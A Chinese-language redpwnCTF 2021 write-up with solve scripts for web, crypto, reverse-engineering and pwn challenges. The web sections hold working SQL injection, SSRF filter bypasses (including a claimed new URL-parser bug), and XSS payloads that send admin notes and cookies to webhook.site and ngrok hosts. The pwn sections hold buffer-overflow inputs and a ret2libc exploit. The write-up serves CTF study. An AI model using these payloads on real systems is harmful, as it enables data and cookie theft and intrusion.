redpwnCTF 2021
的題目蠻有趣的,從簡單到不行的題目到困難的題目都有,最後 18 名。
題目名稱上有標 *
的代表的是我有試著解但是沒成功的題目,比賽結束後才把題目解掉。
Web
inspect-me
直接檢視原始碼。
orm-bad
標準的 ' or 1=1;--
。
pastebin-1
最基本的 XSS,直接拿 cookie 而已。
secure
用 curl 之類的直接發 request,繞過頁面上的 js 去 sqli,和 orm-bad
差不多。
cool
可以知道 register 的時候 password 有限制字元數的 sql
injection,只是因為那邊是 insert 所以沒辦法直接 reflect
出來。方法是利用目標帳號 ginkoid
是資料庫中的第一條,直接
'||(select password from users)||'
可以把新註冊帳號的
password 變成 ginkoid
的 password。結合 substr
就能把新帳號的 password 變成特定的一個
char,然後去暴力找新帳號的密碼就能知道 password 的那個
char。反覆註冊帳號下去 blind sqli 就能拿到密碼。最後以
ginkoid
登入後看到的 mp3 的最後面 (直接 cat
)
就有 flag 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import httpximport randomclient = httpx.Client(http2=True ) def register (username, password ): resp = client.post( "https://cool.mc.ax/register" , data={"username" : username, "password" : password}, allow_redirects=False , ) client.cookies.clear() return "redirected automatically" in resp.text def login (username, password ): resp = client.post( "https://cool.mc.ax" , data={"username" : username, "password" : password}, allow_redirects=False , ) client.cookies.clear() return "Incorrect username or password" not in resp.text chrs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789" def generate_token (): return "" .join(random.choice(list (chrs)) for _ in range (32 )) pwd = "eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3" while len (pwd) < 32 : u = generate_token() print (u) assert register( u, f"'||substr((select password from users),{str (len (pwd) + 1 )} ,1)||'" ) for c in chrs: if login(u, c): pwd += c break print (pwd)
Requester
這題是一個 Java 的 server,一共有兩個 api 分別是
/testAPI
可以 SSRF GET
或是
POST
,另一個是 /createUser
會在 couchdb
中建立新的 user,然後在裡面放入 flag 的 document。
/testAPI
會檢查 hostname 是不是
couchdb
,如果是的話就拒絕 request,這部分可以用大寫繞:
Couchdb
。另一種方法是用 url encoding:
%63ouchdb
。
而它雖然能 SSRF,回顯並沒有開,這邊可以利用 /testAPI
會檢查 response 有沒有 flag 出現的性質,結合 couchdb 的 REST API 去用
regex query 來一個字元一個字元爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import httpximport jsonimport stringclient = httpx.Client(http2=True ) def testRegex (rgx ): resp = client.get( "https://requester.mc.ax/testAPI" , params={ "url" : "http://supernene:supernene@Couchdb:5984/supernene/_find" , "method" : "POST" , "data" : json.dumps({"selector" : {"flag" : {"$regex" : rgx}}}), }, ) return "Something went wrong" in resp.text chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase flag = "flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}" while not flag.endswith("}" ): for c in chrs: rgx = f"^{flag+c} .*$" if testRegex(rgx): flag += c break print (flag)
notes
這題的 note 的 tag 部分可以有最多 10 個字元的 xss,這部分可以用多段
payload 去湊。例如我用的是
<svg><set onend='...' dur=1>
這樣的
payload,正好有辦法把每段拆成小於 10 個字元。而真正的 js 部分我是用
template literal (需要的字數比 /* ... */
少)去把多餘的 html
給忽略掉,然後 js 放在不限長度的 body 之中即可。
雖然只有 tag == 'public'
的 notes 才會被顯示出來,不過看
source code 可以知道 admin 有權限直接看到所有人的 note,所以直接
XSS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsusername = "pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E" def add_note (body, tag ): resp = requests.post( "https://notes.mc.ax/api/notes" , cookies={"username" : username}, json={"body" : body, "tag" : tag}, ) return resp.json() data = [ {"body" : "test" , "tag" : "<svg y='" }, {"body" : "test" , "tag" : "'><set x='" }, {"body" : "test" , "tag" : "'onend='`" }, { "body" : "`;fetch(`/api/notes/admin`).then(function(r){return r.text()}).then(function(r){location.href=`https://webhook.site/e9f9ee2f-1b87-4d45-81a3-6d1c79e77a51?data=`+encodeURIComponent(r)})`" , "tag" : "`' x='" , }, {"body" : "tests" , "tag" : "`'dur=1 '" }, {"body" : "tests" , "tag" : "'></set>" }, ] for x in data: print (add_note(x["body" ], x["tag" ]))
如果 admin 不能看到非
public 的 note 的話
在 source code 有一行
if (req.auth.username === 'admin') return notes;
,不過這個我在解的時候完全沒看到這行,所以在想說要怎麼把非
public 的 notes 顯示給 xss bot 看。我用的技巧和 Google CTF 2020 的這個部分 一樣,先利用其他題目的
XSS,由於他們只是在不同的 subdomain 所以可以先利用他們去只 set 特定 path
的 cookie 即可。
例如我是先把下面的內容放到 pastebin-1 中,然後讓 notes 的 bot
去瀏覽下面的那個頁面,先讓它把 cookie 設好之後再 redirect
過去就成功了。
1 2 3 4 5 6 7 <script > set = function (x ) { document .cookie = x + ';domain=mc.ax;path=/view/pekomiko' } set ('username=pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E' ) location.href = 'https://notes.mc.ax/view/pekomiko' </script >
requester-strikes-back
這題是 Requester 的進階版,唯一不同的是檢查 url 的地方。它會把
hostname 給 lowercase 之後檢查是不是 couchdb
,之後先把 url
依 url encoding 的規則 decode 過之後再繞檢查一次
hostname,所以前一題的繞法都不能過。
這邊可以發現它檢查 host 的時候使用的是
new URL(url).getHost()
,而 request 的地方是把
URI.create(url)
給 Apache
HttpCore 的 HttpClient
處裡。這部分可能會有的問題是 url
parser 的不同,Orange Tsai 有個很棒的投影片簡單了介紹 url parser
的不同可能造成的問題: A
New Era of SSRF - Exploiting URL Parser in Trending Programming
Languages!
我自己人工 fuzz 找到了像是這樣的 url:
http://a@couchdb%00@a:5984
,這個用
new URL(url).getHost()
會得到 null
,但是在
Apache HttpCore 之中會被解析為 couchdb
,所以就能對
http://couchdb:5984
發出請求了。
所以把之前的腳本稍微改一下就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import httpximport jsonimport stringclient = httpx.Client(http2=True ) def testRegex (rgx ): resp = client.get( "https://requester-strikes-back.mc.ax/testAPI" , params={ "url" : "http://supernene:supernene@couchdb%00@x:5984/supernene/_find" , "method" : "POST" , "data" : json.dumps({"selector" : {"flag" : {"$regex" : rgx}}}), }, ) return "Something went wrong" in resp.text chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase flag = "flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}" while not flag.endswith("}" ): for c in chrs: rgx = f"^{flag+c} .*$" if testRegex(rgx): flag += c break print (flag)
其實這題還有個更簡單的 payload 是:
http://a@couchdb:5984@a
,只是這個在版本 4.5.13 已經被修好了 ,不過題目用的是
4.5.12 所以沒差。而我使用了 %00
的 payload
能在最新版(4.5.13)有效,代表這算是我找到了一個未知的新 bug 吧。
pastebin-2-social-edition
這題的 pastebin 內容用了新版的 DOMPurify 去 filter,可以放一些基本的
html 但不能用 <script>
之類的。這題的 admin bot
不只會 visit,還會在 paste 頁面的 comment section 留言。
此題唯一有機會 XSS 的地方是在於它 submit comment 之後如果看到有 error
就會把錯誤訊息用 innerHTML
放入頁面中,所以目標是要想辦法弄出 error 並弄出 custom message。
server side 的部份我找不到有什麼方法可以讓它產生自訂 error message
的地方,不過在它 serialize form 的部分有機會 prototype
pollution,所以可以利用 form 去 dom clobbering 之後 pollute
Object.prototype.error
和
Object.prototype.message
,這樣自己塞假的錯誤 message。
要注意的地方有兩個,首先是 DOMPurify 似乎會自動把
name=__proto__
給過濾掉,其他的 name
就能正常出現,我這邊是用 url encode 之後就繞過了:
%5f%5fproto%5f%5f
(因為它會 decode)。另一個地方是在它首頁
submit 的時候它會先 url decode,所以記得先執行
decodeURIComponent = x => x
再 submit。(用 curl
的當我沒說)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <form > <fieldset name ="params" > <div id ="username" > <label for ="author" > Username:</label > <input value ="c8763" type ="text" name ="author" /> </div > <div id ="content" > <label for ="content" > Comment:</label > <textarea name ="content" > c8763</textarea > </div > <input type ="submit" value ="Post Comment" /> <input disabled ="" value ="c8763" type ="text" name ="author" /> <textarea disabled ="" name ="content" > c8763</textarea > </fieldset > <fieldset name ="%5f%5fproto%5f%5f" > <input value ="asd" name ="error" /> <input value ="%3Cimg%20src%3D1%20onerror%3D%22location.href%3D'https%3A%2F%2Fwebhook.site%2Fe9f9ee2f-1b87-4d45-81a3-6d1c79e77a51%3Fdata%3D'%2BencodeURIComponent(document.cookie)%22%3E" name ="message" /> </fieldset > </form >
pastebin-3
題目是一個可以創建 paste 和搜尋 paste 的服務,paste 的部份是以用
sandbox.pastebin-3.mc.ax
subdomain 在 iframe
中顯示出來的。可以用 backtrick 直接在 subdomain XSS: `+alert(1)+`。flag
則是藏在 admin 的其中一個 paste 之中。
Unintended Solution
從 source code 可以看到它的 search 功能使用的是 python 的
generator,結合 next()
,所以只會 lazy
的找到第一個搜尋到的目標而已。再來是 flag 會在 admin 的第一個 paste
之中。
方法就利用 CSRF 去新增一堆 paste 放入很多垃圾內容,例如 10000 筆
"a" * 1024
。這樣搜尋 flag{
的時候在第一個就會找到了 response time 就會很小,而搜尋
flagx
的時候因為是錯誤的,python
就只好繼續往下找,因為有很多很長的字串,可以顯著提升 response time。
之後就參考 XSLeaks
- Network Timing 頁面的方法去實作 timing attack 即可 leak 出
flag。
我是先直接用 subdomain 的 xss 從我的 server 中 load 一個
xss.js
,這樣修改比較方便。
xss.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 function timeurl (url ) { return new Promise (res => { const start = performance.now () fetch (url, { mode : 'no-cors' , credentials : 'include' }) .then (() => { res (performance.now () - start) }) .catch (() => { res (performance.now () - start) }) }) } async function avgRespTime (url, n = 3 ) { let sum = 0 for (let i = 0 ; i < n; i++) { sum += await timeurl (url) } return sum / n } function log (...args ) { console .log (...args) return fetch ('https://9a5c8db108b9.ngrok.io?log=' + args).catch (e => e) } function createPaste (paste ) { const ifr = document .createElement ('iframe' ) ifr.srcdoc = `<form id=frm action=https://pastebin-3.mc.ax/create_paste method=post><textarea name=paste>${paste} </textarea></form><script>frm.submit()</script>` document .body .appendChild (ifr) } ;(async () => { log ('TEST:flag' , await avgRespTime ('https://pastebin-3.mc.ax/search?query=flag' )) log ('TEST:flaga' , await avgRespTime ('https://pastebin-3.mc.ax/search?query=flaga' )) setInterval (() => fetch ('https://example.com' ), 1000 ) const charset = '{_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' let flag = 'flag{c00k13_b0mb1n6_15_f4k3_vuln}' while (true ) { for (const c of charset) { const t = await avgRespTime (`https://pastebin-3.mc.ax/search?query=${flag + c} ` ) if (t < 150 ) { flag += c log (flag, t) break } } if (flag.endsWith ('}' )) { break } } })()
第一次先只執行 increase timing accuracy
的部份,後面幾次就只需要執行後面的部分即可。因為 xss bot 有 timeout
的緣故,需要自己在旁邊觀測並記錄已知的 flag 部分,重複 submit
很多次才能拿到完整的 flag。
這個雖然是 unintended,不過據作者說用這個方法解的人還不少
Intended Solution
可以注意到它的搜尋結果是用 flask 的 flash
顯示的,這個會把訊息放到 session 中,所以 cookie
長度會有變化。再來是利用 Gunicorn 可接受的 HTTP header size 預設是約 8k
左右,超過就會 HTTP 400。所以只要透過 subdomain 去把 cookie
弄到接近塞滿,這樣就能透過控制 cookie 大小知道 search 有沒有 search
到字串,這樣就也能 leak 出 flag。這個方法叫 Cookie Bomb 的樣子。
別人的 solution:
https://gist.github.com/parrot409/6782796ba9be2088a57a679c27f4e037
*wtjs
這題是個只能用 ()*+=>[]_
幾個字元的 js golf
challenge,這題被人 first blood 的時候字數上線就剩下 342 了。
核心概念是用 window.name
去存放真正的
payload,所以要想辦法湊出
Function(Function('return name')())()
就能 XSS 拿到
cookie。
我主要是參考了這篇 JSF**k
with only 5 symbols?
想辦法去湊出字元來,然後之後再想辦法簡化,不過我最後在比賽結束前最好只能湊到
346 字元:
1 (___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___+[])[_+[]+_])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___ (__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[]+_]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[]+_]+__[_+_+_])())()
我是寫了這樣的腳本去湊,裡面用了一些 greddy
的策略去自動判斷最佳的變數名稱分配是什麼,不過 inline
的部分還是手動處裡,花了兩個小時從原本 420 字元左右壓到 346
字元,還是沒解掉...。
這邊的腳本直接輸出的結果是 345 字元:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 const MAP = { one : '[]**[]' , fl : '[ONE>ONE]+ONE' , tr : '[ONE>[]]+ONE' , f : 'FL[+[]]' , l : 'FL[ONE+ONE]' , flat : '[][F+L+FL[ONE]+TR[+[]]]' , o : '(TR+FLAT)[ONE+[ONE]]' , s : 'FL[ONE+ONE+ONE]' , constructor : '(FLAT+ONE)[ONE+ONE+ONE]+O+(FLAT+ONE)[ONE+ONE]+S+TR[+[]]+TR[ONE]+TR[ONE+ONE]+(FLAT+ONE)[ONE+ONE+ONE]+TR[+[]]+O+TR[ONE]' , space : '(FLAT+ONE)[ONE+ONE+ONE+[ONE]]' , m : '(ONE[CONSTRUCTOR]+ONE)[ONE+[ONE]]' , returnname : 'TR[ONE]+TR[ONE+ONE+ONE]+TR[+[]]+TR[ONE+ONE]+TR[ONE]+(FLAT+ONE)[ONE+ONE]+SPACE+(FLAT+ONE)[ONE+ONE]+FL[ONE]+M+TR[ONE+ONE+ONE]' , payload : 'FLAT[CONSTRUCTOR](FLAT[CONSTRUCTOR](RETURNNAME)())()' } const idmp = Object .create (null )const idfreq = Object .create (null )let idcnt = 1 let id = name => { if (!(name in idfreq)) idfreq[name] = 0 idfreq[name] += 1 if (name in idmp) return idmp[name] idmp[name] = '_' .repeat (idcnt++) return '(' + idmp[name] + '=' + get (name) + ')' } let get = name => { return MAP [name].replace (/[A-Z]+/g , m => id (m.toLowerCase ())) } let code = id ('payload' )global .name = 'console.log(48763)' console .log (!code.match (/^[\(\)\*\+=>\[\]_]*$/ ))console .log (code)console .log (code.length )console .log (idfreq)console .log ('\ngreddy var name optimization\n' )const times = Object .create (null )id = name => { const sorted = Object .entries (idfreq).sort ((a, b ) => b[1 ] - a[1 ]) const idt = '_' .repeat (sorted.findIndex (x => x[0 ] == name) + 1 ) if (idfreq[name] == 1 ) { return get (name) } if (!(name in times)) { times[name] = 1 console .log (name, 'FIRST' , idt.length ) return `(${idt} =${get(name)} )` } console .log (name) times[name] += 1 return idt } code = id ('payload' ) global .name = 'console.log(48763)' console .log (!code.match (/^[\(\)\*\+=>\[\]_]*$/ ))console .log (code)console .log (code.length )console .log (eval (code))console .log (times)
之後可以用 uglify 壓掉兩個字元,然後再把 ___
([].flat
) 函數蓋掉變成 Function
,這樣總共壓掉
5 個字元,最後可以出來一個 340 的版本:
1 (___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___)[_+[_]])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___ (__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[_]]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[_]]+__[_+_+_])())()
另一個別人提到的技巧是用
Function("_=name")()+Function(_)()
,而 _
和
=
字元可以用 (_=>_)+[]
去湊,可以有 323
(甚至更短)的字元數。
Crypto
scissor
ROT 忘記多少的 cipher。
baby
很小直接分解。
round-the-bases
一堆奇怪的
message,不過可以看出似乎有某種規律,我透過眼睛直接觀察之後感覺它像是 0
1,所以就直接用 0 1 就解出 flag 了...。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 with open ("round-the-bases" ) as f: data = f.read() bits = "" flag = "" for x in data.split("9mTfc:..Zt9mTZ_:" ): if not x: continue if x.startswith("II" ): bits += "0" elif x.startswith("K0" ): bits += "1" if len (bits) == 8 : c = chr (int (bits, 2 )) flag += c bits = "" print (flag)
就別人說它是一堆 encoding 混合: CyberChef 。
另外還有人推薦可以用 Ciphey 自動解這種
encoding,實測有效。
blecc
單純的 ECDLP,把參數輸入 sage 之後因為數字都很小,直接用內建的
discrete_log
就能解出來了。
yahtzee
這題的 AES CTR mode 的 nonce 只可能是 2~12,所以直接隨便 xor
掉之後根據已知的 plaintext (flag{
)
去檢查剩下的內容是不是都是普通英文會出現的字元就能篩選一些
candidates。
之後寫點小程式去方便手動猜後面的字元,根據英文單字或是句法等等的規則一個一個字元去
recover 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from itertools import combinationsimport stringdata = [] with open ("output.txt" ) as f: for line in f: data.append(bytes .fromhex(line)) def check_chr (n ): return n in list (map (ord , string.ascii_letters + string.digits + " {}_.," )) def xor (a, b ): return bytes (x ^ y for x, y in zip (a, b)) flag = b"flag{" dt = {} for a, b in combinations(data, r=2 ): tmp = xor(xor(a, b), flag) if all (check_chr(x) for x in tmp): dt[tmp] = (a, b) while True : for i, s in enumerate (dt.keys()): print (i, s) print (flag) idx = int (input ("idx: " )) ch = ord (input ("chr: " )) s = list (dt.keys())[idx] a, b = dt[s] flag = xor(xor(a, b), s + bytes ([ch])) newdt = {} for s in dt: a, b = dt[s] tmp = xor(xor(a, b), flag) if all (check_chr(x) for x in tmp): newdt[tmp] = (a, b) dt = newdt
scrambled-elgs
這題是在一個我不知道的 group 中的 ElGamal 加密,不過不知道那個 group
也沒關係,因為能發現 generator 的 order 非常小,直接讓 sage 算 dlog
之後解密就能拿到 flag 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import *import jsonwith open ("output.json" ) as f: data = json.load(f) n = 25000 Sn = SymmetricGroup(n) g = Sn(data["g" ]) h = Sn(data["h" ]) t1 = Sn(data["t1" ]) t2 = Sn(data["t2" ]) a = discrete_log(h, g) s = t1 ^ a m = t2 / s print (long_to_bytes(Permutation(m).rank()))
Keeper of the Flag
這題的 DSA 的兩個
比較特別,可以列式如下:
其中的 是程式中的
pad
,然後整理一下可得:
裡面唯一的未知的變數只有 ,所以解出 之後 recover ,然後再算出 就能隨意 sign 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from sage.all import *from Crypto.Util.number import *from random import *from hashlib import sha1rot = randint(2 , 2 ** 160 - 1 ) chop = getPrime(159 ) def H (s ): x = bytes_to_long(sha1(s).digest()) return power_mod(x, rot, chop) p = int (input ("p: " )) q = int (input ("q: " )) g = int (input ("g: " )) y = int (input ("y: " )) def verify (r, s, m ): if not (0 < r and r < q and 0 < s and s < q): return False w = power_mod(s, q - 2 , q) u1 = (H(m) * w) % q u2 = (r * w) % q v = ((power_mod(g, u1, p) * power_mod(y, u2, p)) % p) % q return v == r pad = randint(1 , 2 ** 160 ) print ("pad" , pad)_sign_i = 0 def sign (m: bytes ): global _sign_i h = H(m) if isinstance (m, bytes ) else m k = (h + pad + _sign_i) % q print ("k" , m, k) r = power_mod(g, k, p) % q s = (power_mod(k, q - 2 , q) * (h + x * r)) % q _sign_i += 1 return (h, r, s) def calculate_secret (h, r, s, k, n=q ): return ((k * s - h) * power_mod(r, -1 , n)) % n print (b"peko" .hex ())h1 = int (input ("h1: " )) r1 = int (input ("r1: " )) s1 = int (input ("s1: " )) print (b"miko" .hex ())h2 = int (input ("h2: " )) r2 = int (input ("r2: " )) s2 = int (input ("h2: " )) P = PolynomialRing(Zmod(q), "x" ) x = P.gen() lhs = r2 * (s1 * (h1 + x) - h1) rhs = r1 * (s2 * (h2 + x + 1 ) - h2) f = lhs - rhs pad = Integer(f.roots()[0 ][0 ]) print (pad)k1 = h1 + pad print ("k1" , k1)x = calculate_secret(h1, r1, s1, k1) assert power_mod(g, x, p) == yprint ("private key" , x)h = int (input ("target h: " )) print (sign(h))
這題的另一個解法是先從 shattered.io 拿到 sha1
collision,然後拿到一樣的
以及只差 1 的 ,一樣能很簡單的列式解。
Rev
wstrings
這題直接 strings 看不到 flag,進 ida 一看會發現它用的是 4 byte 的
wide string (UTF-32),我直接用 gdb 把它 dump 出來就看到 flag 了。
dimensionality
進 IDA 可以看到它會先讀 29 char 的 input,然後經過一個 check input
的函數之後如果通過了就會用 input 去生出 flag 來。
生出 flag 的部份是 RC4
check input 的函數大致上是一個 11x11x11
的一維陣列上移動,可以移動的方向只有六個:
-121 -11 -1 +1 +11 +121
。陣列上的 0 代表不能踏到上面,1
代表可以走,而 2 是起點,3 是終點,而輸入就是要走的步驟。
這個也能詮釋為一個 11x11x11 的三維迷宮,要找一條能在 29
步以內走到終點的路線就能拿到 flag。
我是直接用 dfs 爆搜出解答,速度蠻快的。因為有多個可能的
input,但是只有一個能解出 flag,所以全部都試過一次即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> char maze[2000 ];char vis[2000 ];char hist[100 ];int deltas[] = {-121 , -11 , -1 , 1 , 11 , 121 };const char *dmap[] = {"b" , "u" , "l" , "r" , "d" , "f" };void dfs (int cur, int deep) { if (deep > 29 ) { return ; } if (maze[cur] == 3 ) { for (int i = 0 ; i < deep; i++) { printf ("%s" , dmap[hist[i]]); } printf ("\n" ); } vis[cur] = 1 ; for (int i = 0 ; i < 6 ; i++) { int nxt = cur + deltas[i]; if (0 <= nxt && nxt < 0x533 && maze[nxt] && !vis[nxt]) { hist[deep] = i; dfs (nxt, deep + 1 ); } } vis[cur] = 0 ; } int main () { FILE *f = fopen ("maze.bin" , "r" ); fread (maze, 1331 , 1 , f); fclose (f); dfs (0x54 , 0 ); return 0 ; }
編譯: g++ solve.c -o solve -Ofast
執行:
./solve | xargs -I {} sh -c "echo {} | ./chall"
Pwn
beginner-generic-pwn-number-0
BOF 蓋掉 local variable。
Input 的 base64 版本:
1 ////////////////////////////////////////////////////////////////Cg==
ret2generic-flag-reader
BOF 蓋掉 ret。
Input 的 base64 版本:
1 YWFhYWJiYmJhYWFhYmJiYmFhYWFiYmJiYWFhYWJiYmJhYWFhYmJiYvYRQAAAAAAACg==
printf-please
用 printf leak local variable。
1 please%70$p,%71$p,%72$p,%73$p,%74$p,%75$p,%76$p
ret2the-unknown
它在讓你 BOF 之後才給你 printf 的 address,所以第一次先 return 回
main,取得 address 之後第二次直接 return 到 gadget 上面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *elf = ELF("./ret2the-unknown" ) libc = ELF("./libc-2.28.so" ) io = remote("mc.ax" , 31568 ) io.sendline(b"a" * 40 + p64(elf.sym["main" ])) io.recvuntil(b"get there: " ) printf = int .from_bytes(bytes .fromhex(io.recvlineS().strip()), byteorder="big" ) libc_base = printf - libc.sym["printf" ] print ("printf" , hex (printf))print ("libc_base" , hex (libc_base))gadget = libc_base + 0x4484F io.sendline(b"a" * 40 + p64(gadget)) io.interactive()